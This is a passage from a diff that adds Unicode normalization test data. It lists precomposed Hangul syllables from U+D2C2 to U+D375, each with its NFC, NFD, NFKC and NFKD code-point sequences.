+{ source: [0xD2C2], NFC: [0xD2C2], NFD: [0x1110, 0x1173, 0x11B1], NFKC: [0xD2C2], NFKD: [0x1110, 0x1173, 0x11B1] },
+{ source: [0xD2C3], NFC: [0xD2C3], NFD: [0x1110, 0x1173, 0x11B2], NFKC: [0xD2C3], NFKD: [0x1110, 0x1173, 0x11B2] },
+{ source: [0xD2C4], NFC: [0xD2C4], NFD: [0x1110, 0x1173, 0x11B3], NFKC: [0xD2C4], NFKD: [0x1110, 0x1173, 0x11B3] },
+{ source: [0xD2C5], NFC: [0xD2C5], NFD: [0x1110, 0x1173, 0x11B4], NFKC: [0xD2C5], NFKD: [0x1110, 0x1173, 0x11B4] },
+{ source: [0xD2C6], NFC: [0xD2C6], NFD: [0x1110, 0x1173, 0x11B5], NFKC: [0xD2C6], NFKD: [0x1110, 0x1173, 0x11B5] },
+{ source: [0xD2C7], NFC: [0xD2C7], NFD: [0x1110, 0x1173, 0x11B6], NFKC: [0xD2C7], NFKD: [0x1110, 0x1173, 0x11B6] },
+{ source: [0xD2C8], NFC: [0xD2C8], NFD: [0x1110, 0x1173, 0x11B7], NFKC: [0xD2C8], NFKD: [0x1110, 0x1173, 0x11B7] },
+{ source: [0xD2C9], NFC: [0xD2C9], NFD: [0x1110, 0x1173, 0x11B8], NFKC: [0xD2C9], NFKD: [0x1110, 0x1173, 0x11B8] },
+{ source: [0xD2CA], NFC: [0xD2CA], NFD: [0x1110, 0x1173, 0x11B9], NFKC: [0xD2CA], NFKD: [0x1110, 0x1173, 0x11B9] },
+{ source: [0xD2CB], NFC: [0xD2CB], NFD: [0x1110, 0x1173, 0x11BA], NFKC: [0xD2CB], NFKD: [0x1110, 0x1173, 0x11BA] },
+{ source: [0xD2CC], NFC: [0xD2CC], NFD: [0x1110, 0x1173, 0x11BB], NFKC: [0xD2CC], NFKD: [0x1110, 0x1173, 0x11BB] },
+{ source: [0xD2CD], NFC: [0xD2CD], NFD: [0x1110, 0x1173, 0x11BC], NFKC: [0xD2CD], NFKD: [0x1110, 0x1173, 0x11BC] },
+{ source: [0xD2CE], NFC: [0xD2CE], NFD: [0x1110, 0x1173, 0x11BD], NFKC: [0xD2CE], NFKD: [0x1110, 0x1173, 0x11BD] },
+{ source: [0xD2CF], NFC: [0xD2CF], NFD: [0x1110, 0x1173, 0x11BE], NFKC: [0xD2CF], NFKD: [0x1110, 0x1173, 0x11BE] },
+{ source: [0xD2D0], NFC: [0xD2D0], NFD: [0x1110, 0x1173, 0x11BF], NFKC: [0xD2D0], NFKD: [0x1110, 0x1173, 0x11BF] },
+{ source: [0xD2D1], NFC: [0xD2D1], NFD: [0x1110, 0x1173, 0x11C0], NFKC: [0xD2D1], NFKD: [0x1110, 0x1173, 0x11C0] },
+{ source: [0xD2D2], NFC: [0xD2D2], NFD: [0x1110, 0x1173, 0x11C1], NFKC: [0xD2D2], NFKD: [0x1110, 0x1173, 0x11C1] },
+{ source: [0xD2D3], NFC: [0xD2D3], NFD: [0x1110, 0x1173, 0x11C2], NFKC: [0xD2D3], NFKD: [0x1110, 0x1173, 0x11C2] },
+{ source: [0xD2D4], NFC: [0xD2D4], NFD: [0x1110, 0x1174], NFKC: [0xD2D4], NFKD: [0x1110, 0x1174] },
+{ source: [0xD2D5], NFC: [0xD2D5], NFD: [0x1110, 0x1174, 0x11A8], NFKC: [0xD2D5], NFKD: [0x1110, 0x1174, 0x11A8] },
+{ source: [0xD2D6], NFC: [0xD2D6], NFD: [0x1110, 0x1174, 0x11A9], NFKC: [0xD2D6], NFKD: [0x1110, 0x1174, 0x11A9] },
+{ source: [0xD2D7], NFC: [0xD2D7], NFD: [0x1110, 0x1174, 0x11AA], NFKC: [0xD2D7], NFKD: [0x1110, 0x1174, 0x11AA] },
+{ source: [0xD2D8], NFC: [0xD2D8], NFD: [0x1110, 0x1174, 0x11AB], NFKC: [0xD2D8], NFKD: [0x1110, 0x1174, 0x11AB] },
+{ source: [0xD2D9], NFC: [0xD2D9], NFD: [0x1110, 0x1174, 0x11AC], NFKC: [0xD2D9], NFKD: [0x1110, 0x1174, 0x11AC] },
+{ source: [0xD2DA], NFC: [0xD2DA], NFD: [0x1110, 0x1174, 0x11AD], NFKC: [0xD2DA], NFKD: [0x1110, 0x1174, 0x11AD] },
+{ source: [0xD2DB], NFC: [0xD2DB], NFD: [0x1110, 0x1174, 0x11AE], NFKC: [0xD2DB], NFKD: [0x1110, 0x1174, 0x11AE] },
+{ source: [0xD2DC], NFC: [0xD2DC], NFD: [0x1110, 0x1174, 0x11AF], NFKC: [0xD2DC], NFKD: [0x1110, 0x1174, 0x11AF] },
+{ source: [0xD2DD], NFC: [0xD2DD], NFD: [0x1110, 0x1174, 0x11B0], NFKC: [0xD2DD], NFKD: [0x1110, 0x1174, 0x11B0] },
+{ source: [0xD2DE], NFC: [0xD2DE], NFD: [0x1110, 0x1174, 0x11B1], NFKC: [0xD2DE], NFKD: [0x1110, 0x1174, 0x11B1] },
+{ source: [0xD2DF], NFC: [0xD2DF], NFD: [0x1110, 0x1174, 0x11B2], NFKC: [0xD2DF], NFKD: [0x1110, 0x1174, 0x11B2] },
+{ source: [0xD2E0], NFC: [0xD2E0], NFD: [0x1110, 0x1174, 0x11B3], NFKC: [0xD2E0], NFKD: [0x1110, 0x1174, 0x11B3] },
+{ source: [0xD2E1], NFC: [0xD2E1], NFD: [0x1110, 0x1174, 0x11B4], NFKC: [0xD2E1], NFKD: [0x1110, 0x1174, 0x11B4] },
+{ source: [0xD2E2], NFC: [0xD2E2], NFD: [0x1110, 0x1174, 0x11B5], NFKC: [0xD2E2], NFKD: [0x1110, 0x1174, 0x11B5] },
+{ source: [0xD2E3], NFC: [0xD2E3], NFD: [0x1110, 0x1174, 0x11B6], NFKC: [0xD2E3], NFKD: [0x1110, 0x1174, 0x11B6] },
+{ source: [0xD2E4], NFC: [0xD2E4], NFD: [0x1110, 0x1174, 0x11B7], NFKC: [0xD2E4], NFKD: [0x1110, 0x1174, 0x11B7] },
+{ source: [0xD2E5], NFC: [0xD2E5], NFD: [0x1110, 0x1174, 0x11B8], NFKC: [0xD2E5], NFKD: [0x1110, 0x1174, 0x11B8] },
+{ source: [0xD2E6], NFC: [0xD2E6], NFD: [0x1110, 0x1174, 0x11B9], NFKC: [0xD2E6], NFKD: [0x1110, 0x1174, 0x11B9] },
+{ source: [0xD2E7], NFC: [0xD2E7], NFD: [0x1110, 0x1174, 0x11BA], NFKC: [0xD2E7], NFKD: [0x1110, 0x1174, 0x11BA] },
+{ source: [0xD2E8], NFC: [0xD2E8], NFD: [0x1110, 0x1174, 0x11BB], NFKC: [0xD2E8], NFKD: [0x1110, 0x1174, 0x11BB] },
+{ source: [0xD2E9], NFC: [0xD2E9], NFD: [0x1110, 0x1174, 0x11BC], NFKC: [0xD2E9], NFKD: [0x1110, 0x1174, 0x11BC] },
+{ source: [0xD2EA], NFC: [0xD2EA], NFD: [0x1110, 0x1174, 0x11BD], NFKC: [0xD2EA], NFKD: [0x1110, 0x1174, 0x11BD] },
+{ source: [0xD2EB], NFC: [0xD2EB], NFD: [0x1110, 0x1174, 0x11BE], NFKC: [0xD2EB], NFKD: [0x1110, 0x1174, 0x11BE] },
+{ source: [0xD2EC], NFC: [0xD2EC], NFD: [0x1110, 0x1174, 0x11BF], NFKC: [0xD2EC], NFKD: [0x1110, 0x1174, 0x11BF] },
+{ source: [0xD2ED], NFC: [0xD2ED], NFD: [0x1110, 0x1174, 0x11C0], NFKC: [0xD2ED], NFKD: [0x1110, 0x1174, 0x11C0] },
+{ source: [0xD2EE], NFC: [0xD2EE], NFD: [0x1110, 0x1174, 0x11C1], NFKC: [0xD2EE], NFKD: [0x1110, 0x1174, 0x11C1] },
+{ source: [0xD2EF], NFC: [0xD2EF], NFD: [0x1110, 0x1174, 0x11C2], NFKC: [0xD2EF], NFKD: [0x1110, 0x1174, 0x11C2] },
+{ source: [0xD2F0], NFC: [0xD2F0], NFD: [0x1110, 0x1175], NFKC: [0xD2F0], NFKD: [0x1110, 0x1175] },
+{ source: [0xD2F1], NFC: [0xD2F1], NFD: [0x1110, 0x1175, 0x11A8], NFKC: [0xD2F1], NFKD: [0x1110, 0x1175, 0x11A8] },
+{ source: [0xD2F2], NFC: [0xD2F2], NFD: [0x1110, 0x1175, 0x11A9], NFKC: [0xD2F2], NFKD: [0x1110, 0x1175, 0x11A9] },
+{ source: [0xD2F3], NFC: [0xD2F3], NFD: [0x1110, 0x1175, 0x11AA], NFKC: [0xD2F3], NFKD: [0x1110, 0x1175, 0x11AA] },
+{ source: [0xD2F4], NFC: [0xD2F4], NFD: [0x1110, 0x1175, 0x11AB], NFKC: [0xD2F4], NFKD: [0x1110, 0x1175, 0x11AB] },
+{ source: [0xD2F5], NFC: [0xD2F5], NFD: [0x1110, 0x1175, 0x11AC], NFKC: [0xD2F5], NFKD: [0x1110, 0x1175, 0x11AC] },
+{ source: [0xD2F6], NFC: [0xD2F6], NFD: [0x1110, 0x1175, 0x11AD], NFKC: [0xD2F6], NFKD: [0x1110, 0x1175, 0x11AD] },
+{ source: [0xD2F7], NFC: [0xD2F7], NFD: [0x1110, 0x1175, 0x11AE], NFKC: [0xD2F7], NFKD: [0x1110, 0x1175, 0x11AE] },
+{ source: [0xD2F8], NFC: [0xD2F8], NFD: [0x1110, 0x1175, 0x11AF], NFKC: [0xD2F8], NFKD: [0x1110, 0x1175, 0x11AF] },
+{ source: [0xD2F9], NFC: [0xD2F9], NFD: [0x1110, 0x1175, 0x11B0], NFKC: [0xD2F9], NFKD: [0x1110, 0x1175, 0x11B0] },
+{ source: [0xD2FA], NFC: [0xD2FA], NFD: [0x1110, 0x1175, 0x11B1], NFKC: [0xD2FA], NFKD: [0x1110, 0x1175, 0x11B1] },
+{ source: [0xD2FB], NFC: [0xD2FB], NFD: [0x1110, 0x1175, 0x11B2], NFKC: [0xD2FB], NFKD: [0x1110, 0x1175, 0x11B2] },
+{ source: [0xD2FC], NFC: [0xD2FC], NFD: [0x1110, 0x1175, 0x11B3], NFKC: [0xD2FC], NFKD: [0x1110, 0x1175, 0x11B3] },
+{ source: [0xD2FD], NFC: [0xD2FD], NFD: [0x1110, 0x1175, 0x11B4], NFKC: [0xD2FD], NFKD: [0x1110, 0x1175, 0x11B4] },
+{ source: [0xD2FE], NFC: [0xD2FE], NFD: [0x1110, 0x1175, 0x11B5], NFKC: [0xD2FE], NFKD: [0x1110, 0x1175, 0x11B5] },
+{ source: [0xD2FF], NFC: [0xD2FF], NFD: [0x1110, 0x1175, 0x11B6], NFKC: [0xD2FF], NFKD: [0x1110, 0x1175, 0x11B6] },
+{ source: [0xD300], NFC: [0xD300], NFD: [0x1110, 0x1175, 0x11B7], NFKC: [0xD300], NFKD: [0x1110, 0x1175, 0x11B7] },
+{ source: [0xD301], NFC: [0xD301], NFD: [0x1110, 0x1175, 0x11B8], NFKC: [0xD301], NFKD: [0x1110, 0x1175, 0x11B8] },
+{ source: [0xD302], NFC: [0xD302], NFD: [0x1110, 0x1175, 0x11B9], NFKC: [0xD302], NFKD: [0x1110, 0x1175, 0x11B9] },
+{ source: [0xD303], NFC: [0xD303], NFD: [0x1110, 0x1175, 0x11BA], NFKC: [0xD303], NFKD: [0x1110, 0x1175, 0x11BA] },
+{ source: [0xD304], NFC: [0xD304], NFD: [0x1110, 0x1175, 0x11BB], NFKC: [0xD304], NFKD: [0x1110, 0x1175, 0x11BB] },
+{ source: [0xD305], NFC: [0xD305], NFD: [0x1110, 0x1175, 0x11BC], NFKC: [0xD305], NFKD: [0x1110, 0x1175, 0x11BC] },
+{ source: [0xD306], NFC: [0xD306], NFD: [0x1110, 0x1175, 0x11BD], NFKC: [0xD306], NFKD: [0x1110, 0x1175, 0x11BD] },
+{ source: [0xD307], NFC: [0xD307], NFD: [0x1110, 0x1175, 0x11BE], NFKC: [0xD307], NFKD: [0x1110, 0x1175, 0x11BE] },
+{ source: [0xD308], NFC: [0xD308], NFD: [0x1110, 0x1175, 0x11BF], NFKC: [0xD308], NFKD: [0x1110, 0x1175, 0x11BF] },
+{ source: [0xD309], NFC: [0xD309], NFD: [0x1110, 0x1175, 0x11C0], NFKC: [0xD309], NFKD: [0x1110, 0x1175, 0x11C0] },
+{ source: [0xD30A], NFC: [0xD30A], NFD: [0x1110, 0x1175, 0x11C1], NFKC: [0xD30A], NFKD: [0x1110, 0x1175, 0x11C1] },
+{ source: [0xD30B], NFC: [0xD30B], NFD: [0x1110, 0x1175, 0x11C2], NFKC: [0xD30B], NFKD: [0x1110, 0x1175, 0x11C2] },
+{ source: [0xD30C], NFC: [0xD30C], NFD: [0x1111, 0x1161], NFKC: [0xD30C], NFKD: [0x1111, 0x1161] },
+{ source: [0xD30D], NFC: [0xD30D], NFD: [0x1111, 0x1161, 0x11A8], NFKC: [0xD30D], NFKD: [0x1111, 0x1161, 0x11A8] },
+{ source: [0xD30E], NFC: [0xD30E], NFD: [0x1111, 0x1161, 0x11A9], NFKC: [0xD30E], NFKD: [0x1111, 0x1161, 0x11A9] },
+{ source: [0xD30F], NFC: [0xD30F], NFD: [0x1111, 0x1161, 0x11AA], NFKC: [0xD30F], NFKD: [0x1111, 0x1161, 0x11AA] },
+{ source: [0xD310], NFC: [0xD310], NFD: [0x1111, 0x1161, 0x11AB], NFKC: [0xD310], NFKD: [0x1111, 0x1161, 0x11AB] },
+{ source: [0xD311], NFC: [0xD311], NFD: [0x1111, 0x1161, 0x11AC], NFKC: [0xD311], NFKD: [0x1111, 0x1161, 0x11AC] },
+{ source: [0xD312], NFC: [0xD312], NFD: [0x1111, 0x1161, 0x11AD], NFKC: [0xD312], NFKD: [0x1111, 0x1161, 0x11AD] },
+{ source: [0xD313], NFC: [0xD313], NFD: [0x1111, 0x1161, 0x11AE], NFKC: [0xD313], NFKD: [0x1111, 0x1161, 0x11AE] },
+{ source: [0xD314], NFC: [0xD314], NFD: [0x1111, 0x1161, 0x11AF], NFKC: [0xD314], NFKD: [0x1111, 0x1161, 0x11AF] },
+{ source: [0xD315], NFC: [0xD315], NFD: [0x1111, 0x1161, 0x11B0], NFKC: [0xD315], NFKD: [0x1111, 0x1161, 0x11B0] },
+{ source: [0xD316], NFC: [0xD316], NFD: [0x1111, 0x1161, 0x11B1], NFKC: [0xD316], NFKD: [0x1111, 0x1161, 0x11B1] },
+{ source: [0xD317], NFC: [0xD317], NFD: [0x1111, 0x1161, 0x11B2], NFKC: [0xD317], NFKD: [0x1111, 0x1161, 0x11B2] },
+{ source: [0xD318], NFC: [0xD318], NFD: [0x1111, 0x1161, 0x11B3], NFKC: [0xD318], NFKD: [0x1111, 0x1161, 0x11B3] },
+{ source: [0xD319], NFC: [0xD319], NFD: [0x1111, 0x1161, 0x11B4], NFKC: [0xD319], NFKD: [0x1111, 0x1161, 0x11B4] },
+{ source: [0xD31A], NFC: [0xD31A], NFD: [0x1111, 0x1161, 0x11B5], NFKC: [0xD31A], NFKD: [0x1111, 0x1161, 0x11B5] },
+{ source: [0xD31B], NFC: [0xD31B], NFD: [0x1111, 0x1161, 0x11B6], NFKC: [0xD31B], NFKD: [0x1111, 0x1161, 0x11B6] },
+{ source: [0xD31C], NFC: [0xD31C], NFD: [0x1111, 0x1161, 0x11B7], NFKC: [0xD31C], NFKD: [0x1111, 0x1161, 0x11B7] },
+{ source: [0xD31D], NFC: [0xD31D], NFD: [0x1111, 0x1161, 0x11B8], NFKC: [0xD31D], NFKD: [0x1111, 0x1161, 0x11B8] },
+{ source: [0xD31E], NFC: [0xD31E], NFD: [0x1111, 0x1161, 0x11B9], NFKC: [0xD31E], NFKD: [0x1111, 0x1161, 0x11B9] },
+{ source: [0xD31F], NFC: [0xD31F], NFD: [0x1111, 0x1161, 0x11BA], NFKC: [0xD31F], NFKD: [0x1111, 0x1161, 0x11BA] },
+{ source: [0xD320], NFC: [0xD320], NFD: [0x1111, 0x1161, 0x11BB], NFKC: [0xD320], NFKD: [0x1111, 0x1161, 0x11BB] },
+{ source: [0xD321], NFC: [0xD321], NFD: [0x1111, 0x1161, 0x11BC], NFKC: [0xD321], NFKD: [0x1111, 0x1161, 0x11BC] },
+{ source: [0xD322], NFC: [0xD322], NFD: [0x1111, 0x1161, 0x11BD], NFKC: [0xD322], NFKD: [0x1111, 0x1161, 0x11BD] },
+{ source: [0xD323], NFC: [0xD323], NFD: [0x1111, 0x1161, 0x11BE], NFKC: [0xD323], NFKD: [0x1111, 0x1161, 0x11BE] },
+{ source: [0xD324], NFC: [0xD324], NFD: [0x1111, 0x1161, 0x11BF], NFKC: [0xD324], NFKD: [0x1111, 0x1161, 0x11BF] },
+{ source: [0xD325], NFC: [0xD325], NFD: [0x1111, 0x1161, 0x11C0], NFKC: [0xD325], NFKD: [0x1111, 0x1161, 0x11C0] },
+{ source: [0xD326], NFC: [0xD326], NFD: [0x1111, 0x1161, 0x11C1], NFKC: [0xD326], NFKD: [0x1111, 0x1161, 0x11C1] },
+{ source: [0xD327], NFC: [0xD327], NFD: [0x1111, 0x1161, 0x11C2], NFKC: [0xD327], NFKD: [0x1111, 0x1161, 0x11C2] },
+{ source: [0xD328], NFC: [0xD328], NFD: [0x1111, 0x1162], NFKC: [0xD328], NFKD: [0x1111, 0x1162] },
+{ source: [0xD329], NFC: [0xD329], NFD: [0x1111, 0x1162, 0x11A8], NFKC: [0xD329], NFKD: [0x1111, 0x1162, 0x11A8] },
+{ source: [0xD32A], NFC: [0xD32A], NFD: [0x1111, 0x1162, 0x11A9], NFKC: [0xD32A], NFKD: [0x1111, 0x1162, 0x11A9] },
+{ source: [0xD32B], NFC: [0xD32B], NFD: [0x1111, 0x1162, 0x11AA], NFKC: [0xD32B], NFKD: [0x1111, 0x1162, 0x11AA] },
+{ source: [0xD32C], NFC: [0xD32C], NFD: [0x1111, 0x1162, 0x11AB], NFKC: [0xD32C], NFKD: [0x1111, 0x1162, 0x11AB] },
+{ source: [0xD32D], NFC: [0xD32D], NFD: [0x1111, 0x1162, 0x11AC], NFKC: [0xD32D], NFKD: [0x1111, 0x1162, 0x11AC] },
+{ source: [0xD32E], NFC: [0xD32E], NFD: [0x1111, 0x1162, 0x11AD], NFKC: [0xD32E], NFKD: [0x1111, 0x1162, 0x11AD] },
+{ source: [0xD32F], NFC: [0xD32F], NFD: [0x1111, 0x1162, 0x11AE], NFKC: [0xD32F], NFKD: [0x1111, 0x1162, 0x11AE] },
+{ source: [0xD330], NFC: [0xD330], NFD: [0x1111, 0x1162, 0x11AF], NFKC: [0xD330], NFKD: [0x1111, 0x1162, 0x11AF] },
+{ source: [0xD331], NFC: [0xD331], NFD: [0x1111, 0x1162, 0x11B0], NFKC: [0xD331], NFKD: [0x1111, 0x1162, 0x11B0] },
+{ source: [0xD332], NFC: [0xD332], NFD: [0x1111, 0x1162, 0x11B1], NFKC: [0xD332], NFKD: [0x1111, 0x1162, 0x11B1] },
+{ source: [0xD333], NFC: [0xD333], NFD: [0x1111, 0x1162, 0x11B2], NFKC: [0xD333], NFKD: [0x1111, 0x1162, 0x11B2] },
+{ source: [0xD334], NFC: [0xD334], NFD: [0x1111, 0x1162, 0x11B3], NFKC: [0xD334], NFKD: [0x1111, 0x1162, 0x11B3] },
+{ source: [0xD335], NFC: [0xD335], NFD: [0x1111, 0x1162, 0x11B4], NFKC: [0xD335], NFKD: [0x1111, 0x1162, 0x11B4] },
+{ source: [0xD336], NFC: [0xD336], NFD: [0x1111, 0x1162, 0x11B5], NFKC: [0xD336], NFKD: [0x1111, 0x1162, 0x11B5] },
+{ source: [0xD337], NFC: [0xD337], NFD: [0x1111, 0x1162, 0x11B6], NFKC: [0xD337], NFKD: [0x1111, 0x1162, 0x11B6] },
+{ source: [0xD338], NFC: [0xD338], NFD: [0x1111, 0x1162, 0x11B7], NFKC: [0xD338], NFKD: [0x1111, 0x1162, 0x11B7] },
+{ source: [0xD339], NFC: [0xD339], NFD: [0x1111, 0x1162, 0x11B8], NFKC: [0xD339], NFKD: [0x1111, 0x1162, 0x11B8] },
+{ source: [0xD33A], NFC: [0xD33A], NFD: [0x1111, 0x1162, 0x11B9], NFKC: [0xD33A], NFKD: [0x1111, 0x1162, 0x11B9] },
+{ source: [0xD33B], NFC: [0xD33B], NFD: [0x1111, 0x1162, 0x11BA], NFKC: [0xD33B], NFKD: [0x1111, 0x1162, 0x11BA] },
+{ source: [0xD33C], NFC: [0xD33C], NFD: [0x1111, 0x1162, 0x11BB], NFKC: [0xD33C], NFKD: [0x1111, 0x1162, 0x11BB] },
+{ source: [0xD33D], NFC: [0xD33D], NFD: [0x1111, 0x1162, 0x11BC], NFKC: [0xD33D], NFKD: [0x1111, 0x1162, 0x11BC] },
+{ source: [0xD33E], NFC: [0xD33E], NFD: [0x1111, 0x1162, 0x11BD], NFKC: [0xD33E], NFKD: [0x1111, 0x1162, 0x11BD] },
+{ source: [0xD33F], NFC: [0xD33F], NFD: [0x1111, 0x1162, 0x11BE], NFKC: [0xD33F], NFKD: [0x1111, 0x1162, 0x11BE] },
+{ source: [0xD340], NFC: [0xD340], NFD: [0x1111, 0x1162, 0x11BF], NFKC: [0xD340], NFKD: [0x1111, 0x1162, 0x11BF] },
+{ source: [0xD341], NFC: [0xD341], NFD: [0x1111, 0x1162, 0x11C0], NFKC: [0xD341], NFKD: [0x1111, 0x1162, 0x11C0] },
+{ source: [0xD342], NFC: [0xD342], NFD: [0x1111, 0x1162, 0x11C1], NFKC: [0xD342], NFKD: [0x1111, 0x1162, 0x11C1] },
+{ source: [0xD343], NFC: [0xD343], NFD: [0x1111, 0x1162, 0x11C2], NFKC: [0xD343], NFKD: [0x1111, 0x1162, 0x11C2] },
+{ source: [0xD344], NFC: [0xD344], NFD: [0x1111, 0x1163], NFKC: [0xD344], NFKD: [0x1111, 0x1163] },
+{ source: [0xD345], NFC: [0xD345], NFD: [0x1111, 0x1163, 0x11A8], NFKC: [0xD345], NFKD: [0x1111, 0x1163, 0x11A8] },
+{ source: [0xD346], NFC: [0xD346], NFD: [0x1111, 0x1163, 0x11A9], NFKC: [0xD346], NFKD: [0x1111, 0x1163, 0x11A9] },
+{ source: [0xD347], NFC: [0xD347], NFD: [0x1111, 0x1163, 0x11AA], NFKC: [0xD347], NFKD: [0x1111, 0x1163, 0x11AA] },
+{ source: [0xD348], NFC: [0xD348], NFD: [0x1111, 0x1163, 0x11AB], NFKC: [0xD348], NFKD: [0x1111, 0x1163, 0x11AB] },
+{ source: [0xD349], NFC: [0xD349], NFD: [0x1111, 0x1163, 0x11AC], NFKC: [0xD349], NFKD: [0x1111, 0x1163, 0x11AC] },
+{ source: [0xD34A], NFC: [0xD34A], NFD: [0x1111, 0x1163, 0x11AD], NFKC: [0xD34A], NFKD: [0x1111, 0x1163, 0x11AD] },
+{ source: [0xD34B], NFC: [0xD34B], NFD: [0x1111, 0x1163, 0x11AE], NFKC: [0xD34B], NFKD: [0x1111, 0x1163, 0x11AE] },
+{ source: [0xD34C], NFC: [0xD34C], NFD: [0x1111, 0x1163, 0x11AF], NFKC: [0xD34C], NFKD: [0x1111, 0x1163, 0x11AF] },
+{ source: [0xD34D], NFC: [0xD34D], NFD: [0x1111, 0x1163, 0x11B0], NFKC: [0xD34D], NFKD: [0x1111, 0x1163, 0x11B0] },
+{ source: [0xD34E], NFC: [0xD34E], NFD: [0x1111, 0x1163, 0x11B1], NFKC: [0xD34E], NFKD: [0x1111, 0x1163, 0x11B1] },
+{ source: [0xD34F], NFC: [0xD34F], NFD: [0x1111, 0x1163, 0x11B2], NFKC: [0xD34F], NFKD: [0x1111, 0x1163, 0x11B2] },
+{ source: [0xD350], NFC: [0xD350], NFD: [0x1111, 0x1163, 0x11B3], NFKC: [0xD350], NFKD: [0x1111, 0x1163, 0x11B3] },
+{ source: [0xD351], NFC: [0xD351], NFD: [0x1111, 0x1163, 0x11B4], NFKC: [0xD351], NFKD: [0x1111, 0x1163, 0x11B4] },
+{ source: [0xD352], NFC: [0xD352], NFD: [0x1111, 0x1163, 0x11B5], NFKC: [0xD352], NFKD: [0x1111, 0x1163, 0x11B5] },
+{ source: [0xD353], NFC: [0xD353], NFD: [0x1111, 0x1163, 0x11B6], NFKC: [0xD353], NFKD: [0x1111, 0x1163, 0x11B6] },
+{ source: [0xD354], NFC: [0xD354], NFD: [0x1111, 0x1163, 0x11B7], NFKC: [0xD354], NFKD: [0x1111, 0x1163, 0x11B7] },
+{ source: [0xD355], NFC: [0xD355], NFD: [0x1111, 0x1163, 0x11B8], NFKC: [0xD355], NFKD: [0x1111, 0x1163, 0x11B8] },
+{ source: [0xD356], NFC: [0xD356], NFD: [0x1111, 0x1163, 0x11B9], NFKC: [0xD356], NFKD: [0x1111, 0x1163, 0x11B9] },
+{ source: [0xD357], NFC: [0xD357], NFD: [0x1111, 0x1163, 0x11BA], NFKC: [0xD357], NFKD: [0x1111, 0x1163, 0x11BA] },
+{ source: [0xD358], NFC: [0xD358], NFD: [0x1111, 0x1163, 0x11BB], NFKC: [0xD358], NFKD: [0x1111, 0x1163, 0x11BB] },
+{ source: [0xD359], NFC: [0xD359], NFD: [0x1111, 0x1163, 0x11BC], NFKC: [0xD359], NFKD: [0x1111, 0x1163, 0x11BC] },
+{ source: [0xD35A], NFC: [0xD35A], NFD: [0x1111, 0x1163, 0x11BD], NFKC: [0xD35A], NFKD: [0x1111, 0x1163, 0x11BD] },
+{ source: [0xD35B], NFC: [0xD35B], NFD: [0x1111, 0x1163, 0x11BE], NFKC: [0xD35B], NFKD: [0x1111, 0x1163, 0x11BE] },
+{ source: [0xD35C], NFC: [0xD35C], NFD: [0x1111, 0x1163, 0x11BF], NFKC: [0xD35C], NFKD: [0x1111, 0x1163, 0x11BF] },
+{ source: [0xD35D], NFC: [0xD35D], NFD: [0x1111, 0x1163, 0x11C0], NFKC: [0xD35D], NFKD: [0x1111, 0x1163, 0x11C0] },
+{ source: [0xD35E], NFC: [0xD35E], NFD: [0x1111, 0x1163, 0x11C1], NFKC: [0xD35E], NFKD: [0x1111, 0x1163, 0x11C1] },
+{ source: [0xD35F], NFC: [0xD35F], NFD: [0x1111, 0x1163, 0x11C2], NFKC: [0xD35F], NFKD: [0x1111, 0x1163, 0x11C2] },
+{ source: [0xD360], NFC: [0xD360], NFD: [0x1111, 0x1164], NFKC: [0xD360], NFKD: [0x1111, 0x1164] },
+{ source: [0xD361], NFC: [0xD361], NFD: [0x1111, 0x1164, 0x11A8], NFKC: [0xD361], NFKD: [0x1111, 0x1164, 0x11A8] },
+{ source: [0xD362], NFC: [0xD362], NFD: [0x1111, 0x1164, 0x11A9], NFKC: [0xD362], NFKD: [0x1111, 0x1164, 0x11A9] },
+{ source: [0xD363], NFC: [0xD363], NFD: [0x1111, 0x1164, 0x11AA], NFKC: [0xD363], NFKD: [0x1111, 0x1164, 0x11AA] },
+{ source: [0xD364], NFC: [0xD364], NFD: [0x1111, 0x1164, 0x11AB], NFKC: [0xD364], NFKD: [0x1111, 0x1164, 0x11AB] },
+{ source: [0xD365], NFC: [0xD365], NFD: [0x1111, 0x1164, 0x11AC], NFKC: [0xD365], NFKD: [0x1111, 0x1164, 0x11AC] },
+{ source: [0xD366], NFC: [0xD366], NFD: [0x1111, 0x1164, 0x11AD], NFKC: [0xD366], NFKD: [0x1111, 0x1164, 0x11AD] },
+{ source: [0xD367], NFC: [0xD367], NFD: [0x1111, 0x1164, 0x11AE], NFKC: [0xD367], NFKD: [0x1111, 0x1164, 0x11AE] },
+{ source: [0xD368], NFC: [0xD368], NFD: [0x1111, 0x1164, 0x11AF], NFKC: [0xD368], NFKD: [0x1111, 0x1164, 0x11AF] },
+{ source: [0xD369], NFC: [0xD369], NFD: [0x1111, 0x1164, 0x11B0], NFKC: [0xD369], NFKD: [0x1111, 0x1164, 0x11B0] },
+{ source: [0xD36A], NFC: [0xD36A], NFD: [0x1111, 0x1164, 0x11B1], NFKC: [0xD36A], NFKD: [0x1111, 0x1164, 0x11B1] },
+{ source: [0xD36B], NFC: [0xD36B], NFD: [0x1111, 0x1164, 0x11B2], NFKC: [0xD36B], NFKD: [0x1111, 0x1164, 0x11B2] },
+{ source: [0xD36C], NFC: [0xD36C], NFD: [0x1111, 0x1164, 0x11B3], NFKC: [0xD36C], NFKD: [0x1111, 0x1164, 0x11B3] },
+{ source: [0xD36D], NFC: [0xD36D], NFD: [0x1111, 0x1164, 0x11B4], NFKC: [0xD36D], NFKD: [0x1111, 0x1164, 0x11B4] },
+{ source: [0xD36E], NFC: [0xD36E], NFD: [0x1111, 0x1164, 0x11B5], NFKC: [0xD36E], NFKD: [0x1111, 0x1164, 0x11B5] },
+{ source: [0xD36F], NFC: [0xD36F], NFD: [0x1111, 0x1164, 0x11B6], NFKC: [0xD36F], NFKD: [0x1111, 0x1164, 0x11B6] },
+{ source: [0xD370], NFC: [0xD370], NFD: [0x1111, 0x1164, 0x11B7], NFKC: [0xD370], NFKD: [0x1111, 0x1164, 0x11B7] },
+{ source: [0xD371], NFC: [0xD371], NFD: [0x1111, 0x1164, 0x11B8], NFKC: [0xD371], NFKD: [0x1111, 0x1164, 0x11B8] },
+{ source: [0xD372], NFC: [0xD372], NFD: [0x1111, 0x1164, 0x11B9], NFKC: [0xD372], NFKD: [0x1111, 0x1164, 0x11B9] },
+{ source: [0xD373], NFC: [0xD373], NFD: [0x1111, 0x1164, 0x11BA], NFKC: [0xD373], NFKD: [0x1111, 0x1164, 0x11BA] },
+{ source: [0xD374], NFC: [0xD374], NFD: [0x1111, 0x1164, 0x11BB], NFKC: [0xD374], NFKD: [0x1111, 0x1164, 0x11BB] },
+{ source: [0xD375], NFC: [0xD375], NFD: [0x1111, 0x1164, 0x11BC], NFKC: [0xD375], NFKD: [0x1111, 0x1164, 0x11BC] },
